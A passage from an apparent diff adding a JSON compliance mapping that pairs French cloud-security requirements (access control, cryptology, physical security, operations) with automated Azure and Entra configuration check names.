contraintes." + } + ], + "Checks": [] + }, + { + "Id": "8.4", + "Description": "Un ensemble de procedures appropriees pour le marquage et la manipulation de l'information doit etre elabore et mis en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Marquage et manipulation de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire documente et mette en oeuvre une procedure pour le marquage et la manipulation de toutes les informations participant a la delivrance du service, conformement a son besoin de securite defini au chapitre 8.3." + } + ], + "Checks": [] + }, + { + "Id": "8.5", + "Description": "Des procedures de gestion des supports amovibles doivent etre mises en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Gestion des supports amovibles", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure pour la gestion des supports amovibles, conformement au besoin de securite defini au chapitre 8.3. Lorsque des supports amovibles sont utilises sur l'infrastructure technique ou pour des taches d'administration, ces supports doivent etre dedies a un usage." + } + ], + "Checks": [] + }, + { + "Id": "9.1", + "Description": "Une politique de controle d'acces doit etre etablie, documentee et revue en se basant sur les exigences metier et les exigences de securite de l'information. Les regles de controle d'acces et les droits pour chaque utilisateur ou groupe d'utilisateurs doivent etre clairement definis.", + "Name": "Politiques et controle d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de controle d'acces sur la base du resultat de son appreciation des risques et du partage des responsabilites. b) Le prestataire doit reviser annuellement la politique de controle d'acces et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [ + "iam_subscription_roles_owner_custom_not_created", + "iam_custom_role_has_permissions_to_administer_resource_locks", + "iam_role_user_access_admin_restricted", + "entra_policy_ensure_default_user_cannot_create_apps", + "entra_policy_ensure_default_user_cannot_create_tenants" + ] + }, + { + "Id": "9.2", + "Description": "Un processus formel d'enregistrement et de desinscription des utilisateurs doit etre mis en oeuvre pour permettre l'attribution des droits d'acces.", + "Name": "Enregistrement et desinscription des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure d'enregistrement et de desinscription des utilisateurs s'appuyant sur une interface de gestion des comptes et des droits d'acces. Cette procedure doit indiquer quelles donnees doivent etre supprimees au depart d'un utilisateur. b) Le prestataire doit attribuer des comptes nominatifs lors de l'enregistrement des utilisateurs places sous sa responsabilite. c) Le prestataire doit mettre en oeuvre des moyens permettant de s'assurer que la desinscription d'un utilisateur entraine la suppression de tous ses acces aux ressources du systeme d'information du service, ainsi que la suppression de ses donnees conformement a la procedure d'enregistrement et de desinscription (voir exigence 9.2 a))." + } + ], + "Checks": [] + }, + { + "Id": "9.3", + "Description": "Un processus formel de gestion des droits d'acces doit etre mis en oeuvre pour controler l'attribution des droits d'acces a tous les types d'utilisateurs et a tous les systemes et services.", + "Name": "Gestion des droits d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'attribution, la modification et le retrait de droits d'acces aux ressources du systeme d'information du service. b) Le prestataire doit mettre a la disposition de ses commanditaires les outils et les moyens qui permettent une differenciation des roles des utilisateurs du service, par exemple suivant leur role fonctionnel. c) Le prestataire doit tenir a jour l'inventaire des utilisateurs sous sa responsabilite disposant de droits d'administration sur les ressources du systeme d'information du service. d) Le prestataire doit etre en mesure de fournir, pour une ressource donnee mettant en oeuvre le service, la liste de tous les utilisateurs y ayant acces, qu'ils soient sous la responsabilite du prestataire ou du commanditaire ainsi que les droits d'acces qui leurs ont ete attribues. e) Le prestataire doit etre en mesure de fournir, pour un utilisateur donne, qu'ils soient sous la responsabilite du prestataire ou du commanditaire, la liste de tous ses droits d'acces sur les differents elements du systeme d'information du service. f) Le prestataire doit definir une liste de droits d'acces incompatibles entre eux. Il doit s'assurer, lors de l'attribution de droits d'acces a un utilisateur qu'il ne possede pas de droits d'acces incompatibles entre eux au titre de la liste precedemment etablie. g) Le prestataire doit inclure dans la procedure de gestion des droits d'acces les actions de revocation ou de suspension des droits de tout utilisateur." + } + ], + "Checks": [ + "iam_subscription_roles_owner_custom_not_created", + "iam_custom_role_has_permissions_to_administer_resource_locks", + "iam_role_user_access_admin_restricted", + "entra_global_admin_in_less_than_five_users" + ] + }, + { + "Id": "9.4", + "Description": "Les proprietaires d'actifs doivent verifier les droits d'acces des utilisateurs a intervalles reguliers.", + "Name": "Revue des droits d'acces utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit reviser annuellement les droits d'acces des utilisateurs sur son perimetre de responsabilite. b) Le prestataire doit mettre a disposition du commanditaire un outil facilitant la revue des droits d'acces des utilisateurs places sous la responsabilite de ce dernier. c) Le prestataire doit reviser trimestriellement la liste des utilisateurs sur son perimetre de responsabilite pouvant utiliser les comptes techniques mentionnes dans l'exigence 9.2 b)." + } + ], + "Checks": [] + }, + { + "Id": "9.5", + "Description": "L'attribution et l'utilisation des informations secretes d'authentification doivent etre gerees dans le cadre d'un processus de gestion formel incluant une politique de mot de passe robuste et l'utilisation de l'authentification multi-facteur.", + "Name": "Gestion des authentifications des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit formaliser et mettre en oeuvre des procedures de gestion de l'authentification des utilisateurs. En accord avec les exigences du chapitre 10, celles-ci doivent notamment porter sur : la gestion des moyens d'authentification (emission et reinitialisation de mot de passe, mise a jour des CRL et import des certificats racines en cas d'utilisation de certificats, etc.) ; la mise en place des moyens permettant une authentification a multiples facteurs afin de repondre aux differents cas d'usage du referentiel ; les systemes qui generent des mots de passe ou verifient leur robustesse, lorsqu'une authentification par mot de passe est utilisee. Ils doivent suivre les recommandations de [G_AUTH]. b) Tout mecanisme d'authentification doit prevoir le blocage d'un compte apres un nombre limite de tentatives infructueuses. c) Dans le cadre d'un service SaaS, le prestataire doit proposer a ses commanditaires des moyens d'authentification a multiples facteurs pour l'acces des utilisateurs finaux. d) Lorsque des comptes techniques, non nominatifs, sont necessaires, le prestataire doit mettre en place des mesures obligeant les utilisateurs a s'authentifier avec leur compte nominatif avant de pouvoir acceder a ces comptes techniques." + } + ], + "Checks": [ + "entra_non_privileged_user_has_mfa", + "entra_privileged_user_has_mfa", + "entra_security_defaults_enabled" + ] + }, + { + "Id": "9.6", + "Description": "L'acces aux interfaces d'administration du service cloud doit etre restreint et protege par des mecanismes d'authentification forte, incluant l'utilisation de dispositifs MFA materiels pour les comptes a privileges.", + "Name": "Acces aux interfaces d'administration", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Les comptes d'administration sous la responsabilite du prestataire doivent etre geres a l'aide d'outils et d'annuaires distincts de ceux utilises pour la gestion des comptes utilisateurs places sous la responsabilite du commanditaire. b) Les interfaces d'administration mises a disposition des commanditaires doivent etre distinctes des interfaces d'administration utilisees par le prestataire. c) Les interfaces d'administration mises a disposition des commanditaires ne doivent permettre aucune connexion avec des comptes d'administrateurs sous la responsabilite du prestataire. d) Les interfaces d'administration utilisees par le prestataire ne doivent pas etre accessibles a partir d'un reseau public et ainsi ne doivent permettre aucune connexion des utilisateurs sous la responsabilite du commanditaire. e) Si des interfaces d'administration sont mises a disposition des commanditaires avec un acces via un reseau public, les flux d'administration doivent etre authentifies et chiffres avec des moyens en accord avec les exigences du chapitre 10.2. f) Le prestataire doit mettre en place un systeme d'authentification multifacteur fort pour l'acces : aux interfaces d'administration utilisees par le prestataire ; aux interfaces d'administration dediees aux commanditaires. g) Dans le cadre d'un service SaaS, les interfaces d'administration mises a disposition des commanditaires doivent etre differenciees des interfaces permettant l'acces des utilisateurs finaux. h) Des lors qu'une interface d'administration est accessible depuis un reseau public, le processus d'authentification doit avoir lieu avant toute interaction entre l'utilisateur et l'interface en question. i) Lorsque le prestataire utilise un service de type IaaS comme socle d'un autre type de service (CaaS, PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service IaaS. j) Lorsque le prestataire utilise un service de type CaaS comme socle d'un autre type de service (PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service CaaS. k) Lorsque le prestataire utilise un service de type PaaS comme socle d'un autre type de service (typiquement SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service PaaS." + } + ], + "Checks": [ + "entra_privileged_user_has_mfa", + "entra_user_with_vm_access_has_mfa", + "entra_conditional_access_policy_require_mfa_for_management_api", + "entra_conditional_access_policy_require_mfa_for_admin_portals", + "entra_global_admin_in_less_than_five_users", + "network_rdp_internet_access_restricted", + "network_ssh_internet_access_restricted" + ] + }, + { + "Id": "9.7", + "Description": "L'acces a l'information et aux fonctions d'application des systemes doit etre restreint conformement a la politique de controle d'acces. Les ressources doivent etre protegees contre tout acces public non autorise.", + "Name": "Restriction des acces a l'information", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ec2", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre ses commanditaires. b) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre le systeme d'information du service et ses autres systemes d'information (bureautique, informatique de gestion, gestion technique du batiment, controle d'acces physique, etc.). c) Le prestataire doit concevoir, developper, configurer et deployer le systeme d'information du service en assurant au moins un cloisonnement entre d'une part l'infrastructure technique et d'autre part les equipements necessaires a l'administration des services et des ressources qu'elle heberge. d) Dans le cadre du support technique, si les actions necessaires au diagnostic et a la resolution d'un probleme rencontre par un commanditaire necessitent un acces aux donnees du commanditaire, alors le prestataire doit : n'autoriser l'acces aux donnees du commanditaire qu'apres consentement explicite du commanditaire ; verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee a distance par une personne localisee hors de l'Union Europeenne, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision (autorisation ou interdiction des actions, demandes d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces aux donnees du commanditaire au terme de ces actions." + } + ], + "Checks": [ + "network_rdp_internet_access_restricted", + "network_ssh_internet_access_restricted", + "storage_blob_public_access_level_is_disabled", + "storage_default_network_access_rule_is_denied", + "sqlserver_unrestricted_inbound_access", + "postgresql_flexible_server_allow_access_services_disabled", + "aisearch_service_not_publicly_accessible", + "app_function_not_publicly_accessible", + "containerregistry_not_publicly_accessible", + "cosmosdb_account_use_private_endpoints" + ] + }, + { + "Id": "10.1", + "Description": "Les donnees stockees dans le cadre du service cloud doivent etre chiffrees au repos en utilisant des algorithmes et des longueurs de cle conformes a l'etat de l'art.", + "Name": "Chiffrement des donnees stockees", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "ec2", + "Type": "Automated", + "Comment": "a) Le prestataire doit definir et mettre en oeuvre un mecanisme de chiffrement empechant la recuperation des donnees des commanditaires en cas de reallocation d'une ressource ou de recuperation du support physique. Dans le cas d'un service IaaS ou CaaS, cet objectif pourra par exemple etre atteint par un chiffrement du disque ou du systeme de fichier, lorsque le protocole d'acces en mode fichiers garantit que seuls des blocs vides peuvent etre alloues, ou par un chiffrement par volume dans le cas d'un acces en mode bloc, avec au moins une cle par commanditaire. Dans le cas d'un service PaaS ou SaaS, cet objectif pourra etre atteint en utilisant un chiffrement applicatif dans le perimetre du prestataire, avec au moins une cle par commanditaire. b) Le prestataire doit utiliser une methode de chiffrement des donnees respectant les regles de [CRYPTO_B1]. c) Il est recommande d'utiliser une methode de chiffrement des donnees respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit mettre en place un chiffrement des donnees sur les supports amovibles et les supports de sauvegarde amenes a quitter le perimetre de securite physique du systeme d'information du service (au sens du chapitre 10), en fonction du besoin de securite des donnees (voir chapitre 8.3)." + } + ], + "Checks": [ + "storage_ensure_encryption_with_customer_managed_keys", + "storage_infrastructure_encryption_is_enabled", + "vm_ensure_attached_disks_encrypted_with_cmk", + "vm_ensure_unattached_disks_encrypted_with_cmk", + "sqlserver_tde_encryption_enabled", + "sqlserver_tde_encrypted_with_cmk", + "databricks_workspace_cmk_encryption_enabled", + "monitor_storage_account_with_activity_logs_cmk_encrypted" + ] + }, + { + "Id": "10.2", + "Description": "Les flux de donnees entre les composants du service cloud et entre le service et les commanditaires doivent etre chiffres en transit en utilisant des protocoles et des algorithmes conformes a l'etat de l'art.", + "Name": "Chiffrement des flux", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "elb", + "Type": "Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]. c) Si le protocole TLS est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_TLS]. d) Si le protocole IPsec est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_IPSEC]. e) Si le protocole SSH est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_SSH]." + } + ], + "Checks": [ + "storage_secure_transfer_required_is_enabled", + "storage_ensure_minimum_tls_version_12", + "storage_smb_channel_encryption_with_secure_algorithm", + "storage_smb_protocol_version_is_latest", + "app_minimum_tls_version_12", + "app_ensure_http_is_redirected_to_https", + "app_ftp_deployment_disabled", + "app_function_ftps_deployment_disabled", + "sqlserver_recommended_minimal_tls_version", + "postgresql_flexible_server_enforce_ssl_enabled", + "mysql_flexible_server_ssl_connection_enabled", + "mysql_flexible_server_minimum_tls_version_12" + ] + }, + { + "Id": "10.3", + "Description": "Les mots de passe doivent etre stockes sous forme hachee en utilisant des algorithmes robustes conformes a l'etat de l'art et les politiques de mot de passe doivent imposer des exigences de complexite adequates.", + "Name": "Hachage des mots de passe", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire ne doit stocker que l'empreinte des mots de passe des utilisateurs et des comptes techniques. b) Le prestataire doit mettre en oeuvre une fonction de hachage respectant les regles de [CRYPTO_B1]. c) Il est recommande que le prestataire mette en oeuvre une fonction de hachage respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit generer les empreintes des mots de passe avec une fonction de hachage associee a l'utilisation d'un sel cryptographique respectant les regles de [CRYPTO_B1]." + } + ], + "Checks": [] + }, + { + "Id": "10.4", + "Description": "Des mecanismes de non-repudiation doivent etre mis en oeuvre pour assurer la tracabilite des actions effectuees sur le service cloud, incluant la validation de l'integrite des journaux.", + "Name": "Non repudiation", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "cloudtrail", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]." + } + ], + "Checks": [ + "monitor_diagnostic_settings_exists" + ] + }, + { + "Id": "10.5", + "Description": "Les secrets cryptographiques (cles, certificats, mots de passe) doivent etre geres de maniere securisee tout au long de leur cycle de vie, incluant la generation, le stockage, la distribution, la rotation et la destruction.", + "Name": "Gestion des secrets", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "kms", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des cles cryptographiques respectant les regles de [CRYPTO_B2]. b) Il est recommande que le prestataire mette en oeuvre des cles cryptographiques respectant les recommandations de [CRYPTO_B2]. c) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour le chiffrement des donnees par un moyen adapte : conteneur de securite (logiciel ou materiel) ou support disjoint. d) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour les taches d'administration par un conteneur de securite adapte, logiciel ou materiel." + } + ], + "Checks": [ + "keyvault_key_rotation_enabled", + "keyvault_recoverable", + "keyvault_rbac_enabled", + "keyvault_rbac_key_expiration_set", + "keyvault_rbac_secret_expiration_set", + "keyvault_key_expiration_set_in_non_rbac", + "keyvault_non_rbac_secret_expiration_set", + "keyvault_logging_enabled", + "keyvault_private_endpoints", + "keyvault_access_only_through_private_endpoints" + ] + }, + { + "Id": "10.6", + "Description": "Les racines de confiance (certificats racine, autorites de certification) utilisees dans le cadre du service cloud doivent etre gerees de maniere securisee. Les certificats doivent etre valides et utiliser des algorithmes de cle robustes.", + "Name": "Racines de confiance", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "acm", + "Type": "Partially Automated", + "Comment": "a) Sur l'infrastructure technique, le prestataire doit utiliser exclusivement des certificats de cle publique issus d'une autorite de certification d'un Etat membre de l'Union Europeenne (les ceremonies de generation des cles maitresses doivent avoir lieu dans un pays membre de l'Union Europeenne et en presence du prestataire)." + } + ], + "Checks": [] + }, + { + "Id": "11.1", + "Description": "Des perimetres de securite doivent etre definis et utilises pour proteger les zones contenant des informations sensibles ou critiques et les moyens de traitement de l'information.", + "Name": "Perimetres de securite physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des perimetres de securite, incluant le marquage des zones et les differents moyens de limitation et de controle des acces. b) Le prestataire doit distinguer des zones publiques, des zones privees et des zones sensibles. 11.1.1. Zones publiques : a) Les zones publiques sont accessibles a tous dans les limites de la propriete du prestataire. Le prestataire ne doit heberger aucune ressource devolue au service ou permettant d'acceder a des composantes de celui-ci dans les zones publiques. 11.1.2. Zones privees : a) Les zones privees peuvent heberger : les plateformes et moyens de developpement du service ; les postes d'administration, d'exploitation et de supervision ; les locaux a partir desquels le prestataire opere. 11.1.3. Zones sensibles : a) Les zones sensibles sont reservees a l'hebergement du systeme d'information de production du service hors postes d'administration, d'exploitation et de supervision." + } + ], + "Checks": [] + }, + { + "Id": "11.2", + "Description": "Les zones securisees doivent etre protegees par des controles d'acces physiques adequats pour s'assurer que seul le personnel autorise est admis.", + "Name": "Controle d'acces physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "11.2.1. Zones privees : a) Le prestataire doit proteger les zones privees contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur un facteur personnel : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour mettre en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones privees un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones privees en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone privee. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone privee par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones privees. 11.2.2. Zones sensibles : a) Le prestataire doit proteger les zones sensibles contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur deux facteurs personnels : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour la mise en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones sensibles un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones sensibles en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone sensible. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone sensible par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones sensibles. i) Le prestataire doit mettre en place une journalisation des acces physiques aux zones sensibles. Il doit effectuer une revue de ces journaux au moins mensuellement. j) Le prestataire doit mettre en oeuvre les moyens garantissant qu'aucun acces direct n'existe entre une zone publique et une zone sensible." + } + ], + "Checks": [] + }, + { + "Id": "11.3", + "Description": "Des mesures de protection contre les menaces exterieures et environnementales, telles que les catastrophes naturelles, les attaques malveillantes ou les accidents, doivent etre concues et appliquees.", + "Name": "Protection contre les menaces exterieures et environnementales", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de minimiser les risques inherents aux sinistres physiques (incendie, degat des eaux, etc.) et naturels (risques climatiques, inondations, seismes, etc.). b) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de limiter les risques de depart et de propagation de feu ainsi que les risques de degat des eaux. c) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de prevenir et limiter les consequences d'une coupure d'alimentation electrique et permettre une reprise du service conformement aux exigences de disponibilite du service definies dans la convention de service. d) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de maintenir des conditions de temperature et d'humidite adaptees aux equipements. De plus, il doit mettre en oeuvre des mesures permettant de prevenir les pannes de climatisation et d'en limiter les consequences. e) Le prestataire doit documenter et mettre en oeuvre des controles et tests reguliers des equipements de detection et de protection physique." + } + ], + "Checks": [] + }, + { + "Id": "11.4", + "Description": "Des mesures de securite physique pour le travail dans les zones privees et sensibles doivent etre concues et appliquees.", + "Name": "Travail dans les zones privees et sensibles", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit integrer les elements de securite physique dans la politique de securite et l'appreciation des risques conformement au niveau de securite requis par la categorie de la zone. b) Le prestataire doit documenter et mettre en oeuvre des procedures relatives au travail en zones privees et sensibles. Il doit communiquer ces procedures aux intervenants concernes." + } + ], + "Checks": [] + }, + { + "Id": "11.5", + "Description": "Les points d'acces tels que les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux doivent etre controles.", + "Name": "Zones de livraison et de chargement", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux sans etre accompagnees sont considerees comme des zones publiques. b) Le prestataire doit isoler les points d'acces de ces zones vers les zones privees et sensibles, de facon a eviter les acces non autorises, ou a defaut, implementer des mesures compensatoires permettant d'assurer le meme niveau de securite." + } + ], + "Checks": [] + }, + { + "Id": "11.6", + "Description": "Le cablage electrique et de telecommunications transportant des donnees ou supportant des services d'information doit etre protege contre les interceptions, les interferences ou les dommages.", + "Name": "Securite du cablage", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de proteger le cablage electrique et de telecommunication des dommages physiques et des possibilites d'interception. b) Le prestataire doit etablir et tenir a jour un plan de cablage. c) Il est recommande que le prestataire mette en oeuvre des mesures permettant d'identifier les cables (par exemple code couleur, etiquette, etc.) afin d'en faciliter l'exploitation et limiter les erreurs de manipulation." + } + ], + "Checks": [] + }, + { + "Id": "11.7", + "Description": "Les materiels doivent etre entretenus correctement pour garantir leur disponibilite permanente et leur integrite.", + "Name": "Maintenance des materiels", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements du systeme d'information du service heberges en zones privees et sensibles sont compatibles avec les exigences de confidentialite et de disponibilite du service definies dans la convention de service. b) Le prestataire doit souscrire des contrats de maintenance permettant de disposer des mises a jour de securite des logiciels installes sur les equipements du systeme d'information du service. c) Le prestataire doit s'assurer que les supports ne peuvent etre retournes a un tiers que si les donnees du commanditaire y sont stockees chiffrees conformement au chapitre 10.1 ou ont prealablement ete detruites a l'aide d'un mecanisme d'effacement securise par reecriture de motifs aleatoires. d) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements techniques annexes (alimentation electrique, climatisation, incendie, etc.) sont compatibles avec les exigences de disponibilite du service definies dans la convention de service." + } + ], + "Checks": [] + }, + { + "Id": "11.8", + "Description": "Les materiels, les informations ou les logiciels ne doivent pas etre sortis des locaux du prestataire sans autorisation prealable.", + "Name": "Sortie des actifs", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de transfert hors site de donnees du commanditaire, equipements et logiciels. Cette procedure doit necessiter que la direction du prestataire donne son autorisation ecrite. Dans tous les cas, le prestataire doit mettre en oeuvre les moyens permettant de garantir que le niveau de protection en confidentialite et en integrite des actifs durant leur transport est equivalent a celui sur site." + } + ], + "Checks": [] + }, + { + "Id": "11.9", + "Description": "Tous les composants des equipements contenant des supports de stockage doivent etre verifies pour s'assurer que toute donnee sensible et tout logiciel sous licence ont ete supprimes ou ecrases de facon securisee avant leur mise au rebut ou leur reutilisation.", + "Name": "Recyclage securise du materiel", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des moyens permettant d'effacer de maniere securisee par reecriture de motifs aleatoires tout support de donnees mis a disposition d'un commanditaire. Si l'espace de stockage est chiffre dans le cadre de l'exigence 10.1.a), l'effacement peut etre realise par un effacement securise de la cle de chiffrement." + } + ], + "Checks": [] + }, + { + "Id": "11.10", + "Description": "Le materiel en attente d'utilisation doit etre protege de maniere adequate.", + "Name": "Materiel en attente d'utilisation", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de protection du materiel en attente d'utilisation." + } + ], + "Checks": [] + }, + { + "Id": "12.1", + "Description": "Les procedures d'exploitation doivent etre documentees et mises a disposition de tous les utilisateurs concernes.", + "Name": "Procedures d'exploitation documentees", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter les procedures d'exploitation, les tenir a jour et les rendre accessibles au personnel concerne." + } + ], + "Checks": [] + }, + { + "Id": "12.2", + "Description": "Les changements apportes au systeme d'information du prestataire, aux processus metier, aux moyens de traitement de l'information et aux systemes qui ont une incidence sur la securite de l'information doivent etre geres.", + "Name": "Gestion des changements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "config", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion des changements apportes aux systemes et moyens de traitement de l'information. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant, en cas d'operations realisees par le prestataire et pouvant avoir un impact sur la securite ou la disponibilite du service, de communiquer au plus tot a l'ensemble de ses commanditaires les informations suivantes : la date et l'heure programmees du debut et de la fin des operations ; la nature des operations ; les impacts sur la securite ou la disponibilite du service ; le contact au sein du prestataire. c) Dans le cadre d'un service PaaS, le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur des elements logiciels sous sa responsabilite des lors que la compatibilite complete ne peut etre assuree. d) Le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur les elements du service des lors qu'elle est susceptible d'occasionner une perte de fonctionnalite pour le commanditaire." + } + ], + "Checks": [ + "monitor_diagnostic_settings_exists", + "monitor_diagnostic_setting_with_appropriate_categories" + ] + }, + { + "Id": "12.3", + "Description": "Les environnements de developpement, de test et d'exploitation doivent etre separes pour reduire les risques d'acces non autorise ou de changements non souhaites dans l'environnement d'exploitation.", + "Name": "Separation des environnements de developpement, de test et d'exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "organizations", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de separer physiquement les environnements lies a la production du service des autres environnements, dont les environnements de developpement." + } + ], + "Checks": [] + }, + { + "Id": "12.4", + "Description": "Des mesures de detection, de prevention et de recuperation conjuguees a une sensibilisation des utilisateurs doivent etre mises en oeuvre pour proteger le systeme d'information contre les codes malveillants.", + "Name": "Mesures contre les codes malveillants", + "Attributes": [ + { + "Section": "12. Securite liee a 